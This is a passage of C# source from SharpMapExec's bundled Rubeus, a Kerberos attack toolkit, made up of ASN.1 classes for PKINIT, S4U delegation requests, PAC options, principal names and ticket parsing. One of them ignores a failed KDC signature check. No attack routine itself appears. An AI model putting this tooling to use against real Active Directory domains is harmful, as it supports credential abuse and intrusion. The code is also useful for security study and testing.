4 | namespace Rubeus 5 | { 6 | public class KrbAuthPack 7 | { 8 | public KrbPkAuthenticator Authenticator { get; private set; } 9 | public KrbSubjectPublicKeyInfo ClientPublicValue { get; set; } 10 | public KrbAlgorithmIdentifier[] SupportedCMSTypes { get; set; } 11 | public byte[] ClientDHNonce { get; set; } 12 | public X509Certificate2 Certificate { get; set; } 13 | 14 | public KrbAuthPack(KrbPkAuthenticator authenticator, X509Certificate2 certificate) 15 | { 16 | Authenticator = authenticator; 17 | Certificate = certificate; 18 | ClientDHNonce = new byte[0]; 19 | } 20 | 21 | public AsnElt Encode() 22 | { 23 | return AsnElt.Make(AsnElt.SEQUENCE, 24 | new AsnElt[] { 25 | AsnElt.Make(AsnElt.CONTEXT,0, Authenticator.Encode()), 26 | AsnElt.Make(AsnElt.CONTEXT,1, ClientPublicValue.Encode() ), 27 | //AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ CMSTypes } ), 28 | AsnElt.Make(AsnElt.CONTEXT,3, AsnElt.MakeBlob(ClientDHNonce)) 29 | }); 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KrbDHRepInfo.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Security.Cryptography; 4 | using System.Security.Cryptography.Pkcs; 5 | 6 | namespace Rubeus 7 | { 8 | public class KrbDHRepInfo 9 | { 10 | public byte[] ServerDHNonce { get; private set; } 11 | public byte[] DHSignedData { get; private set; } 12 | public KrbKDCDHKeyInfo KDCDHKeyInfo { get; private set; } 13 | 14 | public KrbDHRepInfo(AsnElt asnElt) 15 | { 16 | if (asnElt.TagValue != AsnElt.SEQUENCE) 17 | { 18 | throw new ArgumentException("Expected SEQUENCE for type DHRepInfo"); 19 | } 20 | 21 | foreach (AsnElt seq in asnElt.Sub) 22 | { 23 | switch (seq.TagValue) 24 | { 25 | case 0: //dhSignedData 26 | DHSignedData = seq.GetOctetString(); 27 | SignedCms cms = new SignedCms(); 28 | cms.Decode(DHSignedData); 29 | 30 | try 31 | { 32 | cms.CheckSignature(true); 33 | } 34 | catch (CryptographicException) 35 | { 36 | Console.WriteLine("[!] DHRepInfo Signature Not Valid! - Do you even care?"); 37 | } 38 | 39 | KDCDHKeyInfo = new KrbKDCDHKeyInfo(AsnElt.Decode(cms.ContentInfo.Content)); 40 | break; 41 | 42 | case 1: //serverDHNonce 43 | ServerDHNonce = seq.GetOctetString(); 44 | break; 45 | } 46 | } 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KrbKDCDHKeyInfo.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace Rubeus 5 | { 6 | public class KrbKDCDHKeyInfo 7 | { 8 | public byte[] SubjectPublicKey { get; private set; } 9 | public long Nonce { get; private set; } 10 | public DateTime DHKeyExpiration { get; private set; } 11 | 12 | public KrbKDCDHKeyInfo(AsnElt asnElt) 13 | { 14 | if (asnElt.TagValue != AsnElt.SEQUENCE) 15 | { 16 | throw new ArgumentException("Unexpected tag type for KDCDHKeyInfo"); 17 | } 18 | 19 | foreach (AsnElt sub in asnElt.Sub) 20 | { 21 | switch (sub.TagValue) 22 | { 23 | case 0: //subjectPublicKey 24 | SubjectPublicKey = AsnElt.Decode(sub.Sub[0].GetBitString()).GetOctetString(); 25 | break; 26 | 27 | case 1: //nonce 28 | Nonce = sub.Sub[0].GetInteger(0, uint.MaxValue); 29 | break; 30 | 31 | case 2: //dhKeyExpiration 32 | DHKeyExpiration = sub.Sub[0].GetTime(); 33 | break; 34 | } 35 | } 36 | } 37 | } 38 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KrbPkAuthenticator.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Security.Cryptography; 4 | 5 | namespace Rubeus 6 | { 7 | public class KrbPkAuthenticator 8 | { 9 | public KrbPkAuthenticator(uint cuSec, DateTime cTime, int nonce, KDCReqBody reqBody) 10 | { 11 | CuSec = cuSec; 12 | CTime = cTime; 13 | Nonce = nonce; 14 | RequestBody = reqBody; 15 | } 16 | 17 | public KDCReqBody RequestBody { get; private set; } 18 | public uint CuSec { get; set; } 19 | public DateTime CTime { get; set; } 20 | public int Nonce { get; set; } 21 | 22 | public AsnElt Encode() 23 | { 24 | byte[] paChecksum; 25 | 26 | using (SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider()) 27 | { 28 | paChecksum = sha1.ComputeHash(RequestBody.Encode().Encode()); 29 | } 30 | 31 | AsnElt asnCTime = AsnElt.MakeString(AsnElt.GeneralizedTime, CTime.ToString("yyyyMMddHHmmssZ")); 32 | 33 | return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { 34 | AsnElt.Make(AsnElt.CONTEXT,0, new AsnElt[] { AsnElt.MakeInteger(CuSec) }), 35 | AsnElt.Make(AsnElt.CONTEXT,1, new AsnElt[]{ asnCTime } ), 36 | AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ AsnElt.MakeInteger(Nonce) } ), 37 | AsnElt.Make(AsnElt.CONTEXT,3, new AsnElt[]{ AsnElt.MakeBlob(paChecksum) }) 38 | }); 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KrbSubjectPublicKeyInfo.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | 3 | namespace Rubeus 4 | { 5 | public class KrbSubjectPublicKeyInfo 6 | { 7 | public KrbAlgorithmIdentifier Algorithm { get; set; } 8 | public byte[] SubjectPublicKey { get; set; } 9 | 10 | public KrbSubjectPublicKeyInfo(KrbAlgorithmIdentifier algorithm, byte[] subjectPublicKey) 11 | { 12 | Algorithm = algorithm; 13 | SubjectPublicKey = subjectPublicKey; 14 | } 15 | 16 | public AsnElt Encode() 17 | { 18 | return AsnElt.Make( 19 | AsnElt.SEQUENCE, new AsnElt[] { 20 | Algorithm.Encode(), 21 | AsnElt.MakeBitString(SubjectPublicKey) 22 | }); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/LastReq.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace Rubeus 5 | { 6 | public class LastReq 7 | { 8 | //LastReq::= SEQUENCE OF SEQUENCE { 9 | // lr-type[0] Int32, 10 | // lr-value[1] KerberosTime 11 | //} 12 | 13 | public LastReq(AsnElt body) 14 | { 15 | foreach (AsnElt s in body.Sub[0].Sub) 16 | { 17 | switch (s.TagValue) 18 | { 19 | case 0: 20 | lr_type = Convert.ToInt32(s.Sub[0].GetInteger()); 21 | break; 22 | 23 | case 1: 24 | lr_value = s.Sub[0].GetTime(); 25 | break; 26 | 27 | default: 28 | break; 29 | } 30 | } 31 | } 32 | 33 | public AsnElt Encode() 34 | { 35 | // TODO: implement 36 | return null; 37 | } 38 | 39 | public Int32 lr_type { get; set; } 40 | 41 | public DateTime lr_value { get; set; } 42 | } 43 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/PA_ENC_TS_ENC.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace Rubeus 5 | { 6 | //PA-ENC-TS-ENC ::= SEQUENCE { 7 | // patimestamp[0] KerberosTime, -- client's time 8 | // pausec[1] INTEGER OPTIONAL 9 | //} 10 | 11 | public class PA_ENC_TS_ENC 12 | { 13 | public PA_ENC_TS_ENC() 14 | { 15 | patimestamp = DateTime.UtcNow; 16 | } 17 | 18 | public PA_ENC_TS_ENC(DateTime time) 19 | { 20 | patimestamp = time; 21 | } 22 | 23 | //public PA_ENC_TS_ENC(AsnElt value) 24 | //{ 25 | //} 26 | 27 | public AsnElt Encode() 28 | { 29 | AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ")); 30 | AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn }); 31 | patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq); 32 | 33 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq }); 34 | 35 | return totalSeq; 36 | } 37 | 38 | public DateTime patimestamp { get; set; } 39 | 40 | public int pausec { get; set; } 41 | 42 | //public bool include_pac { get; set; } 43 | } 44 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/PA_FOR_USER.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Text; 5 | 6 | namespace Rubeus 7 | { 8 | //PA-FOR-USER-ENC ::= SEQUENCE { 9 | // userName[0] PrincipalName, 10 | // userRealm[1] Realm, 11 | // cksum[2] Checksum, 12 | // auth-package[3] KerberosString 13 | //} 14 | 15 | public class PA_FOR_USER 16 | { 17 | public PA_FOR_USER(byte[] key, string name, string realm) 18 | { 19 | userName = new PrincipalName(name); 20 | userName.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; 21 | userRealm = realm; 22 | 23 | // now build the checksum 24 | 25 | auth_package = "Kerberos"; 26 | 27 | byte[] nameTypeBytes = new byte[4]; 28 | nameTypeBytes[0] = 0xa; 29 | 30 | byte[] nameBytes = Encoding.UTF8.GetBytes(name); 31 | byte[] realmBytes = Encoding.UTF8.GetBytes(userRealm); 32 | byte[] authPackageBytes = Encoding.UTF8.GetBytes(auth_package); 33 | 34 | byte[] finalBytes = new byte[nameTypeBytes.Length + nameBytes.Length + realmBytes.Length + authPackageBytes.Length]; 35 | 36 | Array.Copy(nameTypeBytes, 0, finalBytes, 0, nameTypeBytes.Length); 37 | Array.Copy(nameBytes, 0, finalBytes, nameTypeBytes.Length, nameBytes.Length); 38 | Array.Copy(realmBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length, realmBytes.Length); 39 | Array.Copy(authPackageBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length + realmBytes.Length, authPackageBytes.Length); 40 | 41 | byte[] outBytes = Crypto.KerberosChecksum(key, finalBytes); 42 | 43 | Checksum checksum = new Checksum(outBytes); 44 | 45 | cksum = checksum; 46 | } 47 | 48 | public AsnElt Encode() 49 | { 50 | List allNodes = new List(); 51 | 52 | // userName[0] PrincipalName 53 | AsnElt userNameAsn = userName.Encode(); 54 | userNameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userNameAsn); 55 | allNodes.Add(userNameAsn); 56 | 57 | // userRealm[1] Realm 58 | AsnElt userRealmAsn = AsnElt.MakeString(AsnElt.IA5String, userRealm); 59 | userRealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, userRealmAsn); 60 | AsnElt userRealmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { userRealmAsn }); 61 | userRealmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, userRealmSeq); 62 | allNodes.Add(userRealmSeq); 63 | 64 | // cksum[2] Checksum 65 | AsnElt checksumAsn = cksum.Encode(); 66 | checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, checksumAsn); 67 | allNodes.Add(checksumAsn); 68 | 69 | // auth-package[3] KerberosString 70 | AsnElt auth_packageAsn = AsnElt.MakeString(AsnElt.IA5String, auth_package); 71 | auth_packageAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, auth_packageAsn); 72 | AsnElt auth_packageSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { auth_packageAsn }); 73 | auth_packageSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, auth_packageSeq); 74 | allNodes.Add(auth_packageSeq); 75 | 76 | // package it all up 77 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); 78 | 79 | // tag the final total 80 | //AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq }); 81 | //final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final); 82 | 83 | return seq; 84 | } 85 | 86 | public PrincipalName userName { get; set; } 87 | 88 | public string userRealm { get; set; } 89 | 90 | public Checksum cksum { get; set; } 91 | 92 | public string auth_package { get; set; } 93 | } 94 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/PA_PAC_OPTIONS.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Collections.Generic; 3 | 4 | namespace Rubeus 5 | { 6 | /* PA-PAC-OPTIONS ::= SEQUENCE { 7 | KerberosFlags 8 | -- Claims(0) 9 | -- Branch Aware(1) 10 | -- Forward to Full DC(2) 11 | -- Resource-based Constrained Delegation (3) 12 | } 13 | */ 14 | 15 | public class PA_PAC_OPTIONS 16 | { 17 | public byte[] kerberosFlags { get; set; } 18 | 19 | public PA_PAC_OPTIONS(bool claims, bool branch, bool fullDC, bool rbcd) 20 | { 21 | kerberosFlags = new byte[4] { 0, 0, 0, 0 }; 22 | if (claims) kerberosFlags[0] = (byte)(kerberosFlags[0] | 8); 23 | if (branch) kerberosFlags[0] = (byte)(kerberosFlags[0] | 4); 24 | if (fullDC) kerberosFlags[0] = (byte)(kerberosFlags[0] | 2); 25 | if (rbcd) kerberosFlags[0] = (byte)(kerberosFlags[0] | 1); 26 | kerberosFlags[0] = (byte)(kerberosFlags[0] * 0x10); 27 | } 28 | 29 | public AsnElt Encode() 30 | { 31 | List allNodes = new List(); 32 | AsnElt kerberosFlagsAsn = AsnElt.MakeBitString(kerberosFlags); 33 | kerberosFlagsAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.BIT_STRING, kerberosFlagsAsn); 34 | AsnElt parent = AsnElt.MakeExplicit(0, kerberosFlagsAsn); 35 | allNodes.Add(parent); 36 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); 37 | return seq; 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/PA_PK_AS_REP.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace Rubeus 5 | { 6 | public class PA_PK_AS_REP 7 | { 8 | public KrbDHRepInfo DHRepInfo { get; private set; } 9 | 10 | public PA_PK_AS_REP(AsnElt asnElt) 11 | { 12 | if (asnElt.TagClass != AsnElt.CONTEXT || asnElt.Sub.Length > 1) 13 | { 14 | throw new ArgumentException("Expected CONTEXT with CHOICE for PA-PK-AS-REP"); 15 | } 16 | 17 | switch (asnElt.TagValue) 18 | { 19 | case 0: //dhInfo 20 | DHRepInfo = new KrbDHRepInfo(asnElt.Sub[0]); 21 | break; 22 | 23 | case 1: //encKeyPack: TODO 24 | break; 25 | 26 | default: 27 | throw new ArgumentException("Unexpected CHOICE value for PA-PK-AS-REP"); 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/PA_PK_AS_REQ.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Security.Cryptography; 3 | using System.Security.Cryptography.Pkcs; 4 | using System.Security.Cryptography.X509Certificates; 5 | 6 | namespace Rubeus 7 | { 8 | public class PA_PK_AS_REQ 9 | { 10 | public static readonly Oid IdPkInitAuthData = new Oid("1.3.6.1.5.2.3.1"); 11 | public KrbAuthPack AuthPack { get; private set; } 12 | public X509Certificate2 PKCert { get; private set; } 13 | public KDCKeyAgreement Agreement { get; private set; } 14 | 15 | public PA_PK_AS_REQ(KrbAuthPack krbAuthPack, X509Certificate2 pkCert, KDCKeyAgreement agreement) 16 | { 17 | AuthPack = krbAuthPack; 18 | PKCert = pkCert; 19 | Agreement = agreement; 20 | } 21 | 22 | public AsnElt Encode() 23 | { 24 | SignedCms signed = new SignedCms( 25 | new ContentInfo( 26 | IdPkInitAuthData, 27 | AuthPack.Encode().Encode() 28 | ) 29 | ); 30 | 31 | var signer = new CmsSigner(PKCert); 32 | signed.ComputeSignature(signer, silent: false); 33 | 34 | return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { 35 | AsnElt.Make(AsnElt.CONTEXT, 0, new AsnElt[]{ 36 | AsnElt.MakeBlob(signed.Encode()) 37 | }) 38 | }); 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/PA_S4U_X509_USER.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | 3 | namespace Rubeus 4 | { 5 | // PA-S4U-X509-USER::= SEQUENCE { 6 | // user-id[0] S4UUserID, 7 | // checksum[1] Checksum 8 | //} 9 | 10 | public class PA_S4U_X509_USER 11 | { 12 | public PA_S4U_X509_USER(byte[] key, string name, string realm, uint nonce) 13 | { 14 | user_id = new S4UUserID(name, realm, nonce); 15 | 16 | AsnElt userIDAsn = user_id.Encode(); 17 | AsnElt userIDSeq = AsnElt.Make(AsnElt.SEQUENCE, userIDAsn); 18 | //userIDSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userIDSeq); 19 | byte[] userIDBytes = userIDSeq.CopyValue(); 20 | 21 | byte[] cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256_X509); 22 | cksum = new Checksum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, cksumBytes); 23 | } 24 | 25 | public AsnElt Encode() 26 | { 27 | AsnElt userIDAsn = user_id.Encode(); 28 | AsnElt userIDSeq = AsnElt.Make(AsnElt.SEQUENCE, userIDAsn); 29 | userIDSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userIDSeq); 30 | 31 | AsnElt checksumAsn = cksum.Encode(); 32 | checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumAsn); 33 | 34 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { userIDSeq, checksumAsn }); 35 | 36 | return seq; 37 | } 38 | 39 | public S4UUserID user_id { get; set; } 40 | public Checksum cksum { get; set; } 41 | } 42 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/PrincipalName.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace Rubeus 6 | { 7 | //PrincipalName::= SEQUENCE { 8 | // name-type[0] Int32, 9 | // name-string[1] SEQUENCE OF KerberosString 10 | //} 11 | 12 | public class PrincipalName 13 | { 14 | public PrincipalName() 15 | { 16 | /* 17 | Name Type Value Meaning 18 | 19 | NT-UNKNOWN 0 Name type not known 20 | NT-PRINCIPAL 1 Just the name of the principal as in DCE, 21 | or for users 22 | NT-SRV-INST 2 Service and other unique instance (krbtgt) 23 | NT-SRV-HST 3 Service with host name as instance 24 | (telnet, rcommands) 25 | NT-SRV-XHST 4 Service with host as remaining components 26 | NT-UID 5 Unique ID 27 | NT-X500-PRINCIPAL 6 Encoded X.509 Distinguished name [RFC2253] 28 | NT-SMTP-NAME 7 Name in form of SMTP email name 29 | (e.g., user@example.com) 30 | NT-ENTERPRISE 10 Enterprise name - may be mapped to principal 31 | name 32 | */ 33 | 34 | name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; 35 | 36 | name_string = new List(); 37 | } 38 | 39 | public PrincipalName(string principal) 40 | { 41 | // create with principal 42 | name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; 43 | 44 | name_string = new List(); 45 | name_string.Add(principal); 46 | } 47 | 48 | public PrincipalName(AsnElt body) 49 | { 50 | // KRB_NT_PRINCIPAL = 1 51 | // means just the name of the principal 52 | // KRB_NT_SRV_INST = 2 53 | // service and other unique instance (krbtgt) 54 | 55 | name_type = (Interop.PRINCIPAL_TYPE)body.Sub[0].Sub[0].GetInteger(); 56 | 57 | int numberOfNames = body.Sub[1].Sub[0].Sub.Length; 58 | 59 | name_string = new List(); 60 | 61 | for (int i = 0; i < numberOfNames; i++) 62 | { 63 | name_string.Add(Encoding.ASCII.GetString(body.Sub[1].Sub[0].Sub[i].GetOctetString())); 64 | } 65 | } 66 | 67 | public AsnElt Encode() 68 | { 69 | // name-type[0] Int32 70 | AsnElt nameTypeElt = AsnElt.MakeInteger((long)name_type); 71 | AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeElt }); 72 | nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nameTypeSeq); 73 | 74 | // name-string[1] SEQUENCE OF KerberosString 75 | // add in the name string sequence (one or more) 76 | AsnElt[] strings = new AsnElt[name_string.Count]; 77 | 78 | for (int i = 0; i < name_string.Count; ++i) 79 | { 80 | string name = name_string[i]; 81 | AsnElt nameStringElt = AsnElt.MakeString(AsnElt.IA5String, name); 82 | nameStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, nameStringElt); 83 | strings[i] = nameStringElt; 84 | } 85 | 86 | AsnElt stringSeq = AsnElt.Make(AsnElt.SEQUENCE, strings); 87 | AsnElt stringSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { stringSeq }); 88 | stringSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, stringSeq2); 89 | 90 | // build the final sequences 91 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nameTypeSeq, stringSeq2 }); 92 | 93 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 94 | 95 | return seq2; 96 | } 97 | 98 | public Interop.PRINCIPAL_TYPE name_type { get; set; } 99 | 100 | public List name_string { get; set; } 101 | } 102 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/S4UUserID.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace Rubeus 6 | { 7 | //S4UUserID::= SEQUENCE { 8 | // nonce[0] UInt32, --the nonce in KDC - REQ - BODY 9 | // cname[1] PrincipalName OPTIONAL, 10 | // --Certificate mapping hints 11 | // crealm[2] Realm, 12 | // subject-certificate[3] OCTET STRING OPTIONAL, 13 | // options[4] BIT STRING OPTIONAL, 14 | // ... 15 | //} 16 | 17 | public class S4UUserID 18 | { 19 | public S4UUserID(string name, string realm, uint n) 20 | { 21 | nonce = n; 22 | 23 | cname = new PrincipalName(name); 24 | cname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; 25 | 26 | crealm = realm; 27 | 28 | // default for creation 29 | options = Interop.PA_S4U_X509_USER_OPTIONS.SIGN_REPLY; 30 | } 31 | 32 | public AsnElt Encode() 33 | { 34 | List allNodes = new List(); 35 | 36 | // nonce [0] UInt32 37 | AsnElt nonceAsn = AsnElt.MakeInteger(nonce); 38 | AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); 39 | nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nonceSeq); 40 | allNodes.Add(nonceSeq); 41 | 42 | // cname [1] PrincipalName 43 | AsnElt cnameElt = cname.Encode(); 44 | cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt); 45 | allNodes.Add(cnameElt); 46 | 47 | // crealm [2] Realm 48 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm); 49 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); 50 | AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); 51 | realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq); 52 | allNodes.Add(realmSeq); 53 | 54 | // options [4] PA_S4U_X509_USER_OPTIONS 55 | byte[] optionsBytes = BitConverter.GetBytes((uint)options); 56 | if (BitConverter.IsLittleEndian) 57 | { 58 | Array.Reverse(optionsBytes); 59 | } 60 | AsnElt optionsAsn = AsnElt.MakeBitString(optionsBytes); 61 | AsnElt optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { optionsAsn }); 62 | optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, optionsSeq); 63 | allNodes.Add(optionsSeq); 64 | 65 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); 66 | //AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, seq); 67 | 68 | return seq; 69 | } 70 | 71 | public UInt32 nonce { get; set; } 72 | 73 | public PrincipalName cname { get; set; } 74 | 75 | public string crealm { get; set; } 76 | 77 | public Interop.PA_S4U_X509_USER_OPTIONS options { get; set; } 78 | } 79 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/TGS_REP.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Text; 3 | 4 | namespace Rubeus 5 | { 6 | public class TGS_REP 7 | { 8 | //TGS-REP ::= [APPLICATION 13] KDC-REP 9 | 10 | //KDC-REP ::= SEQUENCE { 11 | // pvno [0] INTEGER (5), 12 | // msg-type [1] INTEGER (13 -- TGS), 13 | // padata [2] SEQUENCE OF PA-DATA OPTIONAL 14 | // -- NOTE: not empty --, 15 | // crealm [3] Realm, 16 | // cname [4] PrincipalName, 17 | // ticket [5] Ticket, 18 | // enc-part [6] EncryptedData 19 | // -- EncTGSRepPart 20 | //} 21 | 22 | public TGS_REP(byte[] data) 23 | { 24 | // decode the supplied bytes to an AsnElt object 25 | // false == ignore trailing garbage 26 | AsnElt asn_TGS_REP = AsnElt.Decode(data, false); 27 | 28 | this.Decode(asn_TGS_REP); 29 | } 30 | 31 | public TGS_REP(AsnElt asn_TGS_REP) 32 | { 33 | this.Decode(asn_TGS_REP); 34 | } 35 | 36 | private void Decode(AsnElt asn_TGS_REP) 37 | { 38 | // TGS - REP::= [APPLICATION 13] KDC - REP 39 | if (asn_TGS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) 40 | { 41 | throw new System.Exception("TGS-REP tag value should be 13"); 42 | } 43 | 44 | if ((asn_TGS_REP.Sub.Length != 1) || (asn_TGS_REP.Sub[0].TagValue != 16)) 45 | { 46 | throw new System.Exception("First TGS-REP sub should be a sequence"); 47 | } 48 | 49 | // extract the KDC-REP out 50 | AsnElt[] kdc_rep = asn_TGS_REP.Sub[0].Sub; 51 | 52 | foreach (AsnElt s in kdc_rep) 53 | { 54 | switch (s.TagValue) 55 | { 56 | case 0: 57 | pvno = s.Sub[0].GetInteger(); 58 | break; 59 | 60 | case 1: 61 | msg_type = s.Sub[0].GetInteger(); 62 | break; 63 | 64 | case 2: 65 | // sequence of pa-data 66 | padata = new PA_DATA(s.Sub[0]); 67 | break; 68 | 69 | case 3: 70 | crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 71 | break; 72 | 73 | case 4: 74 | cname = new PrincipalName(s.Sub[0]); 75 | break; 76 | 77 | case 5: 78 | ticket = new Ticket(s.Sub[0].Sub[0]); 79 | break; 80 | 81 | case 6: 82 | enc_part = new EncryptedData(s.Sub[0]); 83 | break; 84 | 85 | default: 86 | break; 87 | } 88 | } 89 | } 90 | 91 | // won't really every need to *create* a TGS reply, so no encode 92 | 93 | public long pvno { get; set; } 94 | 95 | public long msg_type { get; set; } 96 | 97 | public PA_DATA padata { get; set; } 98 | 99 | public string crealm { get; set; } 100 | 101 | public PrincipalName cname { get; set; } 102 | 103 | public Ticket ticket { get; set; } 104 | 105 | public EncryptedData enc_part { get; set; } 106 | } 107 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/Ticket.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace Rubeus 6 | { 7 | public class Ticket 8 | { 9 | //Ticket::= [APPLICATION 1] SEQUENCE { 10 | // tkt-vno[0] INTEGER(5), 11 | // realm[1] Realm, 12 | // sname[2] PrincipalName, 13 | // enc-part[3] EncryptedData -- EncTicketPart 14 | //} 15 | 16 | public Ticket(AsnElt body) 17 | { 18 | foreach (AsnElt s in body.Sub) 19 | { 20 | switch (s.TagValue) 21 | { 22 | case 0: 23 | tkt_vno = Convert.ToInt32(s.Sub[0].GetInteger()); 24 | break; 25 | 26 | case 1: 27 | realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 28 | break; 29 | 30 | case 2: 31 | sname = new PrincipalName(s.Sub[0]); 32 | break; 33 | 34 | case 3: 35 | enc_part = new EncryptedData(s.Sub[0]); 36 | break; 37 | 38 | default: 39 | break; 40 | } 41 | } 42 | } 43 | 44 | public AsnElt Encode() 45 | { 46 | // tkt-vno [0] INTEGER (5) 47 | AsnElt tkt_vnoAsn = AsnElt.MakeInteger(tkt_vno); 48 | AsnElt tkt_vnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { tkt_vnoAsn }); 49 | tkt_vnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, tkt_vnoSeq); 50 | 51 | // realm [1] Realm 52 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm); 53 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); 54 | AsnElt realmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, realmAsn); 55 | realmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmAsnSeq); 56 | 57 | // sname 